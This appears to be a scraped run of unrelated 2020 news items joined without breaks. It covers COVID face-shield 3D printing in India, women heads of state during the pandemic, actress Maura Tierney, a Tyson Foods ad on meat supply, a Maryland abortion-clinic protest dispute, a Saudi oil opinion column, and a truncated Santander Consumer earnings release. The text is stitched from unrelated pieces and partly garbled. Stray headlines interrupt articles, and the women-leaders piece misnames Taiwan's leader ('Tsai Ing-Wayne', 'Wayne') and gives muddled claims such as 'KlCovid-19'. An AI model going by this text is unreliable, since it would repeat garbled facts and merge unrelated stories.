being primarily used to build prototypes, to make machine tooling and even certain low-volume components. Unlike traditional manufacturing, 3D printing is distributed, which means it needs a computer file containing the design, measurements and 3D printer to print the component. Companies like DBZ that manufacture 3D printers and are well networked with the 3D printing eco-system have suddenly became sought after entities. "Initially we started printing the entire face shield on 3D printer. We could do around 1,000 shields a day using 5-7 machines. But that isn't enough given the demand, so we 3D printed the moulding tool as well. Using moulding tool we scaled up production. Around 80 percent of the 45,000 face shields came from us, the remaining 20 percent came from 3D printers at our customer sites," said Swapnil Sansare, the CEO and founder of DBZ. Face shields have three main components: a plastic headband, a clear plastic sheet called visor and an elastic. The three parts are joined together by clipping the plastic sheet into the headband, which is secured to the head of the person wearing an elastic band. Swapnil says that after the outbreak of COVID-19, the 3D printing community across the globe have come together on an open-source platform to share designs, sourcing materials and 3D printing machines. "There is no profit motive here, it's to help the country at the hour of crisis," Swapnil said, adding that "the 3D fraternity has done 8-10 lakh face shields in India." It isn't DBZ alone, another Mumbai-based startup Boson Machines has been 3D printing face shields. Even academic institutions like IITs, NITs and petrochemical to automotive companies have all been helping each other in providing armour to COVID warriors. A face shield is a simple protective gear, but Swapnil says 3D printing can also do complex medical devices such as ventilators that help patients breathe, ventilator splitters that allow a single ventilator to be used by multiple patients, and UV sterilisation robots for disinfecting hospital rooms, among other applications. Swapnil says about 60-70 percent of a mechanical ventilator can be made using 3D printers. They are already working with IIT-Bombay, Tata Motors and a UK-based startup on these projects. Nascent industry Started in 2013, DBZ has so far supplied 700 3D printers, most of it in India. It employs around 30 people. The company which is growing at a decent pace since inception, however, had a challenging first half of FY20 as the auto industry that uses 3D printing machines have been facing a slump. Swapnil said the business started seeing some momentum from the third quarter. The company was close to signing a contract to supply a laser-assisted high-speed 3D printing machine to a German client. The German order is an important one for the company, not just financially, but to prove a point that a small Indian company is capable of producing technologically complex machines like a 3D printer. As executives at DBZ were busy finalising the order, the COVID-19 pandemic swept the world, disrupting supply chains, logistics and forcing countries to impose lockdowns. Like most other companies the 30 odd employees at DBZ were also confined to home. While the lockdown is threatening to derail the company's business plan for the year, Swapnil said he started getting calls from a team at IIT- Bombay and also his clients like Tata Motors asking whether he will be able to assist in building ventilators, face shields, UV sterilisation robots using 3D printing. "After the COVID-19 crisis, 3D printing will not be the same again," Swapnil said. He also asks the government to create 3D printing hubs and provide incentives to encourage manufacturers of these printers. The coronavirus has preyed over 180 countries of the world. This virus is proving to be the criterion for political leadership. The economic situation of many countries is deteriorating due to the lockdown, there is dissatisfaction in the political leadership. However, the situation is more difficult in democratic countries, because governments are directly responsible to the people. If a woman leader is in command, then she is being tested more than the male leaders. Corona entered India from here, now this city out of Hotspot list According to the Guardian on this matter, women heads of state from Germany, New Zealand, Denmark to Taiwan have done a very good job. Like the US president, Taiwan's prime minister is a staunch critic of the World Health Organization (WHO). It was under her pressure that the WHO admitted its mistake. Let's know how the women heads of some democratic countries are advancing their countries in this time of crisis. PM Narendra Modi shares his picture made by girl student Strong Angela Merkel Managing the world's large economy was not easy for German Chancellor Angela Merkel. She made fast and strict decisions as soon as the corona infection arrived in Europe. Emphasized testing and made ICU beds. Where initially there was a fear about Germany that at least one lakh people would die there, till Sunday the death toll is less than five thousand. Merkel has the support of 70 percent of the people in the online survey. She is scientifically telling people the benefits of lockdown. E-Lala will become your local grocery, will be able to buy goods online Young and powerful Sana Marin The youngest Prime Minister of the world, Sana Marin, made a different identity with her tough decisions. Strict lockdown was implemented in Finland, preventing non-essential trips completely. While Corona wreaked havoc in neighboring Sweden, 140 people died in Finland and four thousand were infected with Corona. Scientist found 500 viruses from bat cave in Greece Visionary Wayne Taiwan's President Tsai Ing-Wayne has demonstrated excellent leadership ability. Wayne began to take rescue measures as he began to wreak havoc with the mysterious fever (later named KlCovid-19) in Wuhan. She imposed travel restrictions from the first week of January. She also emphasized on socially cleanliness. Although she never did a complete lockdown, only 124 people were infected and only six died despite being in direct contact with China due to taking effective measures in time. Wayne has also been tough on WHO. She accused WHO of cheating China and concealing information, saying that WHO deliberately ignored Taiwan. Corona wreaks havoc in Punjab, death toll reaches 19 As the world struggles with the worst public health crisis in a century, Portugal has now been hailed internationally as one of the few success stories, especially compared to Spain. Crucially, the minority socialist government took the decisive action to impose a lockdown in mid-March when there were only 112 confirmed cases and no fatalities. Spain meanwhile only imposed a state of emergency when it had more than 5,000 cases and 133 deaths. Known for her breakout role in NewsRadio, followed by roles on ER, The Affair, and countless films, actress Maura Tierney is a versatile actress, able to take on comedic or heavier dramatic roles on the small screen and in feature films effortlessly. Maura Tierney | Dave Kotinsky/Getty Images Here is what the actress is currently working on, her net worth, and how she says her time on ER helped her save someones life. Her impressive television and film work Tierney first became noticed nationwide with her appearance on the sitcom, NewsRadio, as the station managers girlfriend and a station reporter, Lisa Miller. After the sitcom ended in 1999, the actress wasnt sure shed get another role as good as that one. Maura Tierney | ANGELA WEISS/AFP via Getty Images The same year NewsRadio ended production, ER came along. She was hired as a one-episode guest in the role of Abby Lockhart and ended up staying nine years as the no-nonsense doctor. Shes also had roles on Parenthood in 2009, The Good Wife in 2012, and Showtimes The Affair from 2014-2019. Her feature film work has included Mercy, Liar Liar, Primary Colors, Welcome to Mooseport, and most recently, the Amazon Studios film, The Report, in which she co-starred with Adam Driver. An urgent medical issue forced Tierney to leave Parenthood The New York resident had to drop out of Parenthood after discovering a tumor on her breast. Her cancer treatment coincided with the shows production, and so she had to bow out. I was so, so scared of going to the doctor, Tierney told Parade in 2010 about finding the lump in her breast. I felt something, and my boyfriend at the time made me go. He said, Youve got to take care of this, because I was afraid. Thats one thing I will say: Dont be afraid to go to the damn doctor. Just go! Maura Tierney | Albert L. Ortega/WireImage The 55-year-old actress learned a difficult life lesson through the ordeal. There is one thing Ive learned for sure, she said. Its a life-changing thing to be in a position of needing help and being so lucky as to get it. And to feel like thats okay. You cant just take care of everybody else all the time. Thats almost as perspective-changing as the illness. For someone like me, that was kind of tough. Maura Tierneys net worth and how ER equipped her to save her ex-husbands life Tierneys net worth is $10 million. The Massachusetts-raised actress shared in 2005 how know-how from the medical drama came in handy while she was married to ex-husband Billy Morrissette, as she explained to WomensHealth in 2005. I diagnosed my husband with appendicitis. He had pain in his lower right stomach, was nauseous, and had a fever, so I looked up his symptoms in my medical textbook and said, You have to go to the doctor. Maura Tierney and former husband Billy Morrissette | J. Vespa/WireImage Tierney had a friend accompany her husband at the time to the hospital and joked that the gratitude from him was in short supply. He thought I was crazy, she recalled. Im not really the nurturer type. I had to go to work, so I called a friend and said, Can you take Billy to the hospital? He went under protest and was rushed into surgery. I cant say he thanks me every second, even though I saved his life. In a full-page newspaper ad published in The Washington Post, the New York Times and the Arkansas Democrat-Gazette on Sunday, Tyson Foods - which sells products ranging from frozen chicken nuggets to cuts of raw pork - said that the coronavirus pandemic may disrupt the U.S. food supply chain and raise the price of meat. The company defended itself from criticism that it has not adequately protected its workers and pleaded for more government assistance in doing so. "The food supply chain is breaking," wrote John Tyson, chairman of the company's executive board. "We have a responsibility to feed our country. It is as essential as healthcare. This is a challenge that should not be ignored. Our plants must remain operational so that we can supply food to our families in America. This is a delicate balance because Tyson Foods places team member safety as our top priority." The company warned that shuttering processing plants would cause "millions of pounds of meat" to disappear from the markets, reducing what's available on grocery store shelves and raising prices. Farmers may have to kill and dispose of cows, pigs and chickens that were bred for the closed slaughterhouses, the company claimed, and those animals' meat would go to waste. The troubles stem from the novel coronavirus outbreak, which has ripped through the meatpacking factories, sickening hundreds of workers and forcing meat processing plant closures at slaughterhouses owned by Tyson, Smithfield Foods and JBS. The ad called for more government help in finding a "way to allow our team members to work in safety without fear, panic or worry." The concerns raised by Tyson have been growing within the industry for weeks as at least 13 plants have shuttered since March, according to United Food and Commercial Workers International Union, which represents more than 350,000 workers in the meatpacking and manufacturing industries. Tyson Foods closed its largest pork processing plant in Iowa last week, citing a "combination of worker absenteeism, covid-19 cases and community concerns." The company also paused production at a beef processing plant in Washington state, and a third plant in Indiana last week. The Sunday ad attempted to refute claims of unsafe working conditions by describing the measures Tyson Foods has taken to prevent the spread of coronavirus within its slaughterhouses. The Washington Post reported Sunday that many of the now-closed meat-processing plants, including Tyson's Iowa pork facility, had failed to provide masks to workers in March and early April, even though the novel coronavirus was already spreading among employees at a shocking clip. Some workers told The Post they were given confusing instructions about when to return to work or told to come in while sick. Tyson Foods previously told The Post that the company has required employees to wear masks since April 15. In the full-page ad, the company also said it had encouraged workers to stay home if they felt ill and implemented social distancing practices inside their plants after forming a coronavirus task force in January. The meat industry has been pushing for government assistance as slaughterhouses have closed. The Tyson Foods ad urged "government bodies at the national, state, county and city levels" to find ways to help the industry through the pandemic. The National Pork Producers Council pushed the U.S. Department of Agriculture to buy pork products as part of its coronavirus relief package and asked for pork processors to gain access to the Small Business Administration's Payroll Protection Program. The NPPC has already succeeded in securing $3 billion in product purchases and $1.6 billion in payments to hog farmers, but believes that sum isn't enough. A signal of the troubles confronting the meat industry is an increase in stock price for Beyond Meats, a company that makes plant-based substitutes for meat such as its well-known "Beyond Burger." After falling in March as stay-at-home restrictions were implemented around the states, Beyond Meats' stock price soared by 41% between April 17 and April 24. It was the company's largest weekly gain since going public almost a year ago, Bloomberg reported, but did not fully restore the price to its level before social distancing restrictions began. Since the pandemic reached the U.S., grocery stores have been struggling to fill shelves as worried shoppers load up on food. Some grocers have already seen meat prices jump as supplies have constricted, particularly for pork and beef. And many farmers unexpectedly have more food than they can sell, after schools, hotels, and restaurants closed to encourage social distancing. Already, dairy farmers have been forced to dump excess milk and chicken processors have had to smash hundreds of thousands of eggs each week. Tyson Foods claimed in its Sunday ad that if the closed plants don't reopen soon, farmers may have to "depopulate" cows, pigs and chickens that were destined for the dinner table. Industry experts have estimated that the existing closures have already reduced the production of beef and pork by up to 25 percent. The Food and Drug Administration said on April 14 that there are "no nationwide shortages of food," although the agency acknowledged that consumers may see some products in short supply at grocery stores as stocks are temporarily low, in part because of people panic-buying staples like milk, eggs and flour. The FDA did not immediately respond to an inquiry early Monday about the impact of the recent meat processing plant closures. Tyson Foods said in a statement last week the company is testing its employees for the novel coronavirus before reopening its shuttered plants. The company has also installed infrared scanners to detect fevers and has said employees will have their temperatures checked before shifts when the plants resume work. "It hasn't been easy and it's not over," John Tyson wrote in Sunday's ad. "But I have faith that together, we'll get through this." Abortion Protesters Right to Pray Outside Clinic Ensured by Threat of Litigation Under legal pressure, officials in Hagerstown, Maryland, backed away from a local policy aimed to combat the CCP virus by preventing religious pro-life activists from praying on a public sidewalk outside an abortion clinic. The development comes as several states have relaxed containment measures targeting the expression of religious beliefs and a handful of others are preparing to scale back stay-at-home orders. It also comes as states such as Michigan, which on April 14 dropped charges against pro-life sidewalk counselors, are backing away from limiting pro-life activists free speech rights outside abortion clinics as part of an effort to prevent the spread of the CCP (Chinese Communist Party) virus, commonly known as the novel coronavirus and which causes the disease COVID-19. In the case at hand, police in Marylands sixth-largest city originally threatened pro-life advocate Wanda King with a $5,000 fine for engaging in constitutionally protected speech on the public sidewalk outside Reproductive Health Services, an abortion clinic, based on their interpretation of the emergency public health order issued by Gov. Larry Hogan, a Republican. We are pleased that Hagerstown authorities have recognized and corrected their previously erroneous view of our clients constitutional rights to free speech and free exercise of religion, said Michael McHale, counsel at the Chicago-based Thomas More Society, a national not-for-profit public-interest law firm that specializes in religious freedom issues. Michael McHale. (Courtesy Thomas More Society) As long as abortion vendors continue to put women and children at riskeven during a state of emergency when all other elective procedures are bannedthere will be a need for Ms. King and other life advocates to be near the abortion facility, offering hope and information on life-affirming alternatives to abortion. It was April 2 when King and about seven other persons stood on a public sidewalk outside the clinic while keeping six feet away from each other, as required by social-distancing guidelines. The individuals displayed pro-life signs and engaged in silent prayer and pro-life speech. Three police officers approached the group and ordered them to leave the area, which they did, according to a draft federal legal complaint obtained by The Epoch Times. The draft complaint was never filed with the court. King and one other pro-life individual returned to the same sidewalk on April 7 and resumed their peaceful demonstration, staying 15 feet away from each other. Police informed King that she had no right to be there and that she would be fined $5,000 if she remained there when the police returned a while later. The police came back about two hours later and prepared to issue a citation to King but one of her friends drove up and offered to take her home. The police allowed King to leave and directed her to stay home. The Thomas More Society sent a demand letter April 14 to Hagerstown Mayor Bob Bruchey, a Republican, as well as the city attorney, and local police chief, asking the authorities to respect the right of King and others to engage in peaceful pro-life speech and prayer outside the clinic. The city responded, stating that King and others could return to the sidewalk if they agreed to maintain social distancing, limit the size of their group to 10 people, and continuously walk around the large city block where the facility is located. Unsatisfied, the Thomas More Society sent another letter to the officials, arguing that the continuous walking requirement was unconstitutional because it ran afoul of at least two federal court rulings. Similarly here, conditioning our clients right to express their message on a duty to continue walking around the block is a plain, palpable violation of their fundamental rights and is not substantially related to furthering the Citys interest in slowing the spread of COVID-19, the letter states. The city failed to respond to the subsequent letter and the firm then sent the officials a draft lawsuit. That prompted city officials to back down and agree that the activists wouldnt have to continuously walk around the block in order to engage in pro-life free speech on the public sidewalk. The city conceded, agreeing that our clients can engage in pro-life free speech outside the abortion facility as long as they maintain social distancing, and have no more than 10 people while Maryland is under its current state of emergency, McHale said. Thankfully, the city didnt take this to litigation, the lawyer told The Epoch Times. Common sense prevailed. Across the country, city governments have recognized that pro-lifers have a right to be on the sidewalk outside abortion facilities at this time. Bruchey suggested that the legal jockeying involved in this case could have been avoided. Im a firm believer in the First Amendment and all amendments to the Constitution, Bruchey told The Epoch Times in an interview. Even though the governors order doesnt provide an exemption for protests such as those outside the abortion clinic, he said, I have absolutely no problem with that happening if they were keeping with their social distancing and keeping to a group of 10 or less. If hed received one telephone call from an activist before the law firm got involved, it would have made all the difference in the world, the mayor said. Were a small community; were very accessible, he said. (Bloomberg Opinion) -- In the wake of Mondays historic plunge in crude-oil futures, Saudi Arabia issued a press release stating that it will endeavor to achieve stability in a market currently suffering from a disintegration of demand. For the kingdom, it is vital not only to raise the price of oil, but also to be a leader in the effort to do so. With a struggling, one-dimensional economy, the Saudi monarchy needs higher prices to keep its political future secure. Moreover, the kingdom has long valued its image as the most influential force in oil, and it wants to return to a leadership position within OPEC and the markets. Riyadh cannot increase oil demand, but it can take steps to fix oil prices, protect the monarchy and return Saudi Arabia to a position of stabilizing leadership. This would require some tough decisions and sacrifices perhaps more than the government is willing to make, and theres a chance they could backfire. Nevertheless, heres what Saudi Arabia could do: Energy Shake-Up?The current energy minister, Prince Abdulaziz bin Salman, lost the confidence of the markets when Saudi Arabia recklessly announced a plan for extreme oversupply last month and then followed through with the policy even when it was clear that global demand had collapsed. It was Saudi Arabias announcement, not Russias refusal to cut more oil, that led directly to the initial descent of oil prices on March 9. Even the Easter OPEC+ production cut was credited by many to President Donald Trump, not Saudi Arabias energy minister. Replacing Abdulaziz with an oil figure within the ranks of Saudi Aramcos base in Dhahran might help build trust in the market. While removing King Salmans son from his position would be a major step, it wouldnt be without precedent. Another of the kings sons, Khalid bin Salman, was ambassador to the U.S. before Salman recalled him after the backlash that followed the 2018 murder of Saudi journalist Jamal Khashoggi. Story continues Previous energy ministers Ali Al-Naimi and Khalid Al-Falih were career Aramco oilmen with strong reputations who earned respect in their positions. While it would be inadvisable to move Aramco CEO Amin Nasser into that slot during the current crisis especially now that Aramco is a public company other good choices could be a current or former vice president. To build maximum trust within the markets, a new minister could be installed in a public announcement in English (not Arabic) while markets are open in London and New York. Ideally, both Al-Falih and Al-Naimi would be present at the announcement to show support, because they are respected globally. Furthermore, both former ministers could be announced as advisers to the new minister. The announcement must clarify that in the future Saudi Arabias oil policy will be based on maximizing profit for the kingdom and stability for the markets. The markets need to have faith in industry leaders. If political leaders are serious about maintaining power in Riyadh, they must consider publicly relinquishing power in Dhahran. Unilateral CutsSaudi Arabia cannot scale back production enough on its own to make up for the demand shock, but it can commit to unilateral reductions a few months out, which would begin to provide predictability to the oil markets. The markets currently lack confidence in talks about potential cuts, such as recent rumors that Saudi Arabia and/or OPEC+ will soon make additional reductions. If Saudi Arabia wants to be the critical player in oil, it could announce unilateral production cuts and explicitly delineate them by week or month for a given period. For example, if Saudi Arabia believes the current demand crisis will last for another six months, it could lay out now how much it will produce for that period in monthly or bimonthly increments. The markets like predictability, and this would be the first step. Of course, Saudi Arabia and other producers may have no choice but to ratchet back production should demand stay as weak as it is, with storage becoming a problem. But Saudi Arabia would gain more credibility by being first to do so, and could better encourage other producers to join in being responsible participants in the global economy. This week, the OPEC Secretariat said that OPEC+ held informal teleconference to brainstorm the current dramatic oil market situation without Saudi Arabia. Unilateral and telegraphed cuts from the kingdom would help win back the confidence of the oil markets and leadership in OPEC and the industry. Budget AusterityPrice recovery will not be immediate because of the persistent pandemic, the resulting recession and nearly full oil storage. Right now, the markets are confused by Saudi Arabia and its shifting strategies. If the kingdom lays out a new budget and explains how it will survive low oil prices, Saudi desperation will be one less concern to send markets fluctuating. Wednesdays announcement by finance minister Mohammed Al-Jadaan that the kingdom might take on more debt to deal with budgetary shortfalls may not go far enough. The markets know what drives the U.S. oil industry: profits for each company. But it isnt clear what is driving the Saudi oil industry at the moment, so Saudi Arabia should lay it all out there as a calming force and the responsible leader it wants to be. None of these steps would necessarily be easy, nor would they come without sacrifice. But there are times when difficult choices and sacrifices have the potential to offer a better path forward than the status quo. This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners. Ellen R. Wald is president of Transversal Consulting and a nonresident senior fellow at the Atlantic Council's Global Energy Center. For more articles like this, please visit us at bloomberg.com/opinion Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. DALLAS, April 28, 2020 /PRNewswire/ -- Santander Consumer USA Holdings Inc. (NYSE: SC) ("SC" or the "Company") today announced net income for the first quarter ended March 31, 2020 ("Q1 2020") of $(4) million, or $(0.01) per diluted common share. The quarter included $442 million of incremental allowance for credit loss primarily driven by macroeconomic factors and COVID-19, approximately $0.81 per diluted common share. The Company has declared a cash dividend of $0.22 per share, to be paid on May 18, 2020, to shareholders of record as of the close of business on May 8, 2020. Management Quotes: "During this unprecedented time, we at Santander Consumer implemented a series of important actions to assist our employees, customers and communities. More than ninety-five percent of our employees now have the ability and are working from home, we launched a firm wide emergency paid leave program and provided supplemental pay to front-line customer support employees. For our customers, we have expanded payment deferrals, implemented late charge waivers and lease extensions, and temporarily suspended involuntary repossessions. For our communities, we have donated $3 million to organizations serving vulnerable populations hardest hit by the crisis. I'm proud of our employees for maintaining course during these challenging times and being available for our customers affected by the pandemic. Our technology team deserves particular appreciation as their efforts allowed us to set up teams promptly to help employees work from home," said Mahesh Aditya, SC President and CEO. Fahmi Karam, SC Chief Financial Officer, added, "We entered this period of uncertainty from a position of strength with significant liquidity, strong loan loss reserve levels and excess capital. SC demonstrated continued access to liquidity, obtaining significant funding during March. Subsequent to quarter end, we were one of the first ABS issuers to execute a transaction since the beginning of the pandemic, issuing approximately $1 billion in securities. During the quarter, we added $442 million in reserves due to macroeconomic factors and COVID-19. These reserves, combined with our previously announced estimate for day one CECL impact of $2 billion, increase our Q1 allowance ratio to nearly 18%. As of quarter end, our CET1 ratio was 13.8%, following our $450 million tender offer. We remain committed to our long-term objectives of serving our customers and dealers while increasing shareholder value." First Quarter of 2020 Highlights (variances compared to first quarter of 2019 ("Q1 2019"), unless otherwise noted) Total auto originations of $7.0 billion , down 1% , down 1% Core retail auto loan originations of $2.3 billion , down 12% , down 12% Chrysler Capital loan originations of $2.6 billion , up 7% , up 7% Chrysler Capital lease originations of $2.0 billion , up 3% , up 3% Chrysler average quarterly penetration rate of 39%, up from 31% Santander Bank , N.A. program originations of $1.1 billion , N.A. program originations of Net finance and other interest income 1 of $1.1 billion , up 1% of , up 1% 30-59 delinquency ratio of 8.3%, down 10 basis points 59-plus delinquency ratio 2 of 4.6%, up 40 basis points of 4.6%, up 40 basis points Retail Installment Contract ("RIC") gross charge-off ratio of 15.5%, down 400 basis points Recovery rate of 50.1%, down 580 basis points RIC net charge-off ratio 3 of 7.7%, down 90 basis points of 7.7%, down 90 basis points Troubled Debt Restructuring ("TDR") balance of $3.5 billion Return on average assets of (0.03)%, down from 2.20% $2.1 billion in asset-backed securities "ABS" in asset-backed securities "ABS" Expense ratio of 1.9%, down from 2.1% Common equity tier 1 ("CET1") ratio of 13.8%, down from 15.8% as of March 31, 2019 1Includes Finance receivables held for investment, Finance receivables held for sale and Leased vehicles. 2Delinquency Ratio is defined as the ratio of end of period delinquent principal, over 59 days, to end of period gross balance of the respective portfolio, excludes finance leases. 3Net Charge-Off Ratio stated on a recorded investment basis, which is unpaid principal balance adjusted for unaccreted net discounts, subvention and origination costs. Conference Call Information SC will host a conference call and webcast to discuss its Q1 2020 results and other general matters at 9:00 a.m. Eastern Time on Tuesday, April 28, 2020. The conference call will be accessible by dialing 888-394-8218 (U.S. domestic), or 323-701-0225 (international), conference ID 6666996. Please join 10 minutes prior to the start of the call. The conference call will also be accessible via live audio webcast through the Investor Relations section of SC's corporate website at http://investors.santanderconsumerusa.com . Choose "Events" and select the information pertaining to the Q1 2020 SC Earnings Conference Call. Additionally, there will be slides accompanying the webcast. Please allow at least 15 minutes prior to the call to register, download and install any necessary software prior to the call. For those unable to listen to the live broadcast, a replay of the call will be available on the Company's website or by dialing 844-512-2921 (U.S. domestic), or 412-317-6671 (international), conference ID 6666996, approximately two hours after the conference call. An audio webcast of the call and investor presentation will also be archived on the Investor Relations section of SC's corporate website at http://investors.santanderconsumerusa.com , under "Events". Forward-Looking Statements This press release contains forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. Any statements about our expectations, beliefs, plans, predictions, forecasts, objectives, assumptions, or future events or performance are not historical facts and may be forward-looking. These statements are often, but not always, made through the use of words or phrases such as anticipates, believes, can, could, may, predicts, potential, should, will, estimates, plans, projects, continuing, ongoing, expects, intends, and similar words or phrases. Although we believe that the expectations reflected in these forward-looking statements are reasonable, these statements are not guarantees of future performance and involve risks and uncertainties that are subject to change based on various important factors, some of which are beyond our control. For additional discussion of these risks, refer to the section entitled Risk Factors and elsewhere in our Annual Report on Form 10-K for the year ended December 31, 2019, our subsequent Quarterly Reports on Form 10-Q or Current Reports on Form 8-K, or other applicable documents that are filed or furnished with the U.S. Securities and Exchange Commission (collectively, our "SEC filings"). Among the factors that could cause the forward-looking statements in this press release and/or our financial performance to differ materially from that suggested by the forward-looking statements are (a) the adverse impact of COVID-19 on our business, financial condition, liquidity and results of operations; (b) the inherent limitations in internal control over financial reporting; (c) our ability to remediate any material weaknesses in internal controls over financial reporting completely and in a timely manner; (d) continually changing federal, state, and local laws and regulations could materially adversely affect our business; (e) adverse economic conditions in the United States and worldwide may negatively impact our results; (f) our business could suffer if our access to funding is reduced; (g) significant risks we face implementing our growth strategy, some of which are outside our control; (h) unexpected costs and delays in connection with exiting our personal lending business; (i) our agreement with FCA US LLC may not result in currently anticipated levels of growth and is subject to certain conditions that could result in termination of the agreement; (j) our business could suffer if we are unsuccessful in developing and maintaining relationships with automobile dealerships; (k) our financial condition, liquidity, and results of operations depend on the credit performance of our loans; (l) loss of our key management or other personnel, or an inability to attract such management and personnel; (m) certain regulations, including but not limited to oversight by the Office of the Comptroller of the Currency, the Consumer Financial Protection Bureau, the European Central Bank, and the Federal Reserve, whose oversight and regulation may limit certain of our activities, including the timing and amount of dividends and other limitations on our business; and (n) future changes in our relationship with SHUSA and Banco Santander that could adversely affect our operations. If one or more of the factors affecting our forward-looking information and statements proves incorrect, our actual results, performance or achievements could differ materially from those expressed in, or implied by, forward-looking information and statements. Therefore, we caution the reader not to place undue reliance on any forward-looking information or statements. The effect of these factors is difficult to predict. Factors other than these also could adversely affect our results, and the reader should not consider these factors to be a complete set of all potential risks or uncertainties as new factors emerge from time to time. Any forward-looking statements only speak as of the date of this document, and we undertake no obligation to update any forward-looking information or statements, whether written or oral, to reflect any change, except as required by law. All forward-looking statements attributable to us are expressly qualified by these cautionary statements. About Santander Consumer USA Holdings Inc. Santander Consumer USA Holdings Inc. (NYSE: SC) ("SC") is a full-service consumer finance company focused on vehicle finance, third-party servicing and delivering superior service to our more than 2.9 million customers across the full credit spectrum. SC, which began originating retail installment contracts in 1997, had an average managed asset portfolio of approximately $60 billion (for the first quarter ended March 31, 2020), and is headquartered in Dallas. ( www.santanderconsumerusa.com ) CONTACTS: Investor Relations Evan Black 800.493.8219 [email protected] Media Relations Annette Rogers 469.563.4157 [email protected] Santander Consumer USA Holdings Inc. Financial Supplement First Quarter 2020 Table of Contents Table 1: Condensed Consolidated Balance Sheets 7 Table 2: Condensed Consolidated Statements of Income 8 Table 3: Other Financial Information 9 Table 4: Credit Quality 11 Table 5: Originations 13 Table 6: Ending Portfolio 14 Table 7: Reconciliation of Non-GAAP Measures 15 Table 1: Condensed Consolidated Balance Sheets March 31, 2020 December 31, 2019 Assets (Unaudited, Dollars in thousands) Cash and cash equivalents $ 501,588 $ 81,848 Finance receivables held for sale, net 912,126 1,007,105 Finance receivables held for investment, at amortized cost 30,829,863 30,810,487 Allowance for credit loss (5,460,098) (3,043,468) Finance receivables held for investment, at amortized cost, net 25,369,765 27,767,019 Restricted cash and cash equivalents 1,987,004 2,079,239 Accrued interest receivable 299,035 288,615 Leased vehicles, net 16,746,907 16,461,982 Furniture and equipment, net 60,020 59,873 Goodwill 74,056 74,056 Intangible assets 47,823 42,772 Other assets 1,108,607 1,071,020 Total assets $ 47,106,931 $ 48,933,529 Liabilities and Equity Liabilities: Total borrowings and other debt obligations $ 40,216,880 $ 39,194,141 Accounts payable and accrued expenses 458,429 563,277 Deferred tax liabilities, net 940,121 1,468,222 Other liabilities 345,398 389,269 Total liabilities $ 41,960,828 $ 41,614,909 Equity: Common stock, $0.01 par value 3,211 3,392 Additional paid-in capital 707,384 1,173,262 Accumulated other comprehensive income, net (63,655) (26,693) Retained earnings 4,499,163 6,168,659 Total stockholders' equity $ 5,146,103 $ 7,318,620 Total liabilities and equity $ 47,106,931 $ 48,933,529 Table 2: Condensed Consolidated Statements of Income Three Months Ended March 31, 2020 2019 (Unaudited, Dollars in thousands, except per share amounts) Interest on finance receivables and loans $ 1,273,819 $ 1,253,580 Leased vehicle income 747,979 649,560 Other finance and interest income 7,551 10,247 Total finance and other interest income 2,029,349 1,913,387 Interest expense 328,834 334,382 Leased vehicle expense 552,912 444,019 Net finance and other interest income 1,147,603 1,134,986 Credit loss expense 907,887 550,879 Net finance and other interest income after credit loss exoense 239,716 584,107 Profit sharing 14,295 6,968 Net finance and other interest income after credit loss expense and profit sharing 225,421 577,139 Investment losses, net (63,426) (67,097) Servicing fee income 19,103 23,806 Fees, commissions, and other 95,130 94,376 Total other income 50,807 51,085 Compensation expense 133,326 127,894 Repossession expense 57,662 70,860 Other operating costs 91,685 92,203 Total operating expenses 282,673 290,957 Income (loss) before income taxes (6,445) 337,267 Income tax expense (2,458) 89,764 Net income (loss) $ (3,987) $ 247,503 Net income per common share (basic) $ (0.01) $ 0.70 Net income per common share (diluted) $ (0.01) $ 0.70 Weighted average common shares (basic) 334,026,052 351,515,464 Weighted average common shares (diluted) 334,346,122 352,051,887 Table 3: Other Financial Information Three Months Ended March 31, Ratios (Unaudited, Dollars in thousands) 2020 2019 Yield on retail installment contracts 15.3 % 16.2 % Yield on leased vehicles 4.4 % 5.3 % Yield on personal loans, held for sale (1) 26.5 % 26.2 % Yield on earning assets (2) 11.8 % 12.9 % Cost of debt (3) 3.3 % 3.8 % Net interest margin (4) 9.2 % 10.0 % Expense ratio (5) 1.9 % 2.1 % Return on average assets (6) (0.03) % 2.2 % Return on average equity (7) (0.3) % 14.0 % Net charge-off ratio on individually acquired retail installment contracts (8) 7.7 % 8.6 % Net charge-off ratio (8) 7.7 % 8.6 % Delinquency ratio on individually acquired retail installment contracts held for investment, end of period (9) 4.6 % 4.2 % Delinquency ratio on loans held for investment, end of period (9) 4.6 % 4.2 % Allowance ratio (10) 17.7 % 11.0 % Common stock dividend payout ratio (11) * 28.4 % Common Equity Tier 1 capital ratio (12) 13.8 % 15.8 % Charge-offs, net of recoveries, on individually acquired retail installment contracts $ 593,046 $ 615,204 Total charge-offs, net of recoveries 593,599 615,615 End of period delinquent amortized cost over 59 days, retail installment contracts held for investment 1,418,857 1,224,289 End of period personal loans delinquent principal over 59 days, held for sale 161,639 165,220 End of period delinquent amortized cost over 59 days, loans held for investment 1,419,865 1,225,807 End of period assets covered by allowance for credit losses 30,781,350 28,857,519 End of period gross retail installment contracts held for investment 30,741,144 28,821,729 End of period gross personal loans held for sale 1,341,361 1,393,403 End of period gross finance receivables and loans held for investment 30,753,640 28,864,876 End of period gross finance receivables, loans, and leases held for investment 48,598,983 44,491,987 Average gross retail installment contracts held for investment 30,718,119 28,595,315 Average gross retail installment contracts held for investment and held for sale 30,768,423 28,595,315 Average gross personal loans held for sale 1,413,021 1,466,300 Average gross finance receivables and loans 32,242,390 30,124,514 Average gross operating leases 17,735,640 15,425,190 Average gross finance receivables, loans, and leases 49,978,030 45,549,704 Average managed assets 60,207,338 54,433,129 Average total assets 47,690,751 44,488,868 Average debt 39,692,456 35,261,121 Average total equity 6,006,455 7,052,703 (1) Includes Finance and other interest income; excludes fees (2) "Yield on earning assets" is defined as the ratio of annualized Total finance and other interest income, net of Leased vehicle expense, to Average gross finance receivables, loans and leases (3) "Cost of debt" is defined as the ratio of annualized Interest expense to Average debt (4) "Net interest margin" is defined as the ratio of annualized Net finance and other interest income to Average gross finance receivables, loans and leases (5) "Expense ratio" is defined as the ratio of annualized Operating expenses to Average managed assets (6) "Return on average assets" is defined as the ratio of annualized Net income to Average total assets (7) "Return on average equity" is defined as the ratio of annualized Net income to Average total equity (8) "Net charge-off ratio" is defined as the ratio of annualized Charge-offs, on a amortized cost basis, net of recoveries, to average unpaid principal balance of the respective held-for-investment portfolio. (9) "Delinquency ratio" is defined as the ratio of End of period Delinquent principal over 59 days to End of period gross balance of the respective portfolio, excludes finance leases (10) 